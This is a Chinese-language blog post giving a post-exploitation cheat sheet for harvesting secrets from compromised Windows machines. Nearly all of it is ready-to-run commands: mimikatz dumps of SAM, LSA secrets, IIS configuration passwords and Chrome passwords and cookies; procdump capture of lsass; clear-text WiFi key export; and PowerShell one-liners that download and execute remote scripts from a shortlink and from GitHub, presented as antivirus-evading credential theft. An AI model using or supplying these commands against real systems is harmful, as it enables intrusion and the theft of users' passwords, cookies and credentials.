后渗透攻防的信息收集

渗透测试 2016-10-11 18:30 暂无评论

后渗透常见的信息收集思路

  1. 系统管理员密码
  2. 其他用户session,3389和ipc连接记录 各用户回收站信息收集
  3. 浏览器密码和浏览器cookies的获取 ie chrome firefox 等
  4. Windows无线密码获取。数据库密码获取
  5. host文件获取和dns缓存信息收集 等等
  6. 杀软 补丁 进程 网络代理信息wpad信息。软件列表信息
  7. 计划任务 账号密码策略与锁定策略 共享文件夹 web服务器配置文件
  8. vpn历史密码等 teamview密码等 启动项 iislog 等等
  9. 常用的后渗透信息收集工具。powershell+passrec的使用

1. 系统管理员密码

  • mimikatz
  • wce
  • getpass
  • QuarksPwDump
  • reg-sam
  • pwdump7
  • procdump.exe +mimikatz
  • ……

2. 免杀抓取密码的两种方式

powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

tips: powershell 默认 Windows visa 后才有

procdump lsass 进程导出技巧

C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits

然后本地使用mimikatz 还原密码

3. Windows 本地的信息收集

cmdkey /list

查看3389可信任链接,使用 netpass.exe 即可知道密码

net use

查看到已建立连接记录。也是直接可以 用 wmic at sc 等直接执行命令的

4. vpn 密码获取为例

mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit

其他工具如 Dialupass.exe 感兴趣可以看看 mimikatz dpapi 模块的使用。很强大 sam 密码 ipc 连接密码

5. windows wifi 密码的获取

netsh wlan export profile interface=无线网络连接 key=clear folder=C:\

6. ie浏览器的代理信息查看(网络代理信息 wpad 信息)

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"


7. Windows hosts/iis config

hosts 路径

C:\Windows\System32\drivers\etc\hosts Windows7 Windows2008 等

C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS Windows2003 位置

提权情况下或者过了 uac 的情况下直接 type 一下就行了

iis-web路径

cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root # IIS6
%systemroot%/system32/inetsrv/appcmd.exe list site # IIS7 IIS8 列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir # IIS7 IIS8 列出网站物理路径

mimiktaz 读取 IIS7 配置文件密码

mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit

8. Windows 回收站的信息获取

FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:$Recycle.Bin%d\ ^>%c.txt
$Recycler = (New-Object -ComObject Shell.Application).NameSpace(0xa);
foreach($file in $Recycler.items()){$file.path;$file.ExtendedProperty("{9B174B33-40FF-11D2-A27E-00C04FC30871} 2")+''+$file.name;$file.Type}

其中 $I 开头的文件保存的是路径信息 $R 保存的是文件

9. chrome 为例 的密码和 cookies 获取

%localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\USERDA~1
%localappdata%\google\chrome\USERDA~1\default\cookies

chrome 的用户信息保存在本地文件为 sqlite 数据库格式

10. mimikatz+WebBrowserPassView.exe 获取浏览器的密码和 cookie 信息

mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\USERDA~1" exit
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit # 读chrome密码

mimikatz 读取chrome cookies

11. 常用的信息收集工具介绍

passrec 工具包里面包含常用的密码恢复工具,是内网渗透的好帮手 vncmailvpnrouteriefirefoxchrome 等等,有兴趣可以自己测试。

12. powershell 常用工具的信息收集工具

FTP 访问、共享连接、putty、驱动、应用程序、hosts 文件、进程、无线网络记录

powershell "IEX (New-Object Net.WebClient).DownloadString(' https://github.com/samratashok/nishang/tree/master/Gather/Gather/Get-Information.ps1'); Get-Information"

正则过滤进程密码,已测 Windows7

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1'); Invoke-mimikittenz

sqlserver 密码获取工具(未测)

Get-MSSQLCredentialPasswords.psm1

13. Windows log 的信息查看

Windows 自带的命令就可以了

日志查看收集

Windows2003 下默认存在 eventquery.vbs

cscript c:\WINDOWS\system32\eventquery.vbs /fi "Datetime eq 06/24/2015,01:00:00AM-06/24/2015,10:00:00AM" /l Security /V #查看SECURITY日志 2015-6.24 上午1点-上午10点日志

Windows 7 以上 wevtutil 命令

查询所有登录、注销相关的日志语法

wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" 

第三方信息收集工具 LogParser.exe psloglist.exe

PDF 下载:xinxishouji.pdf

from: http://www.triplekill.org/blog/index.php/archives/3-1.html 看排版有点强迫症,转载后有过调整

暂无评论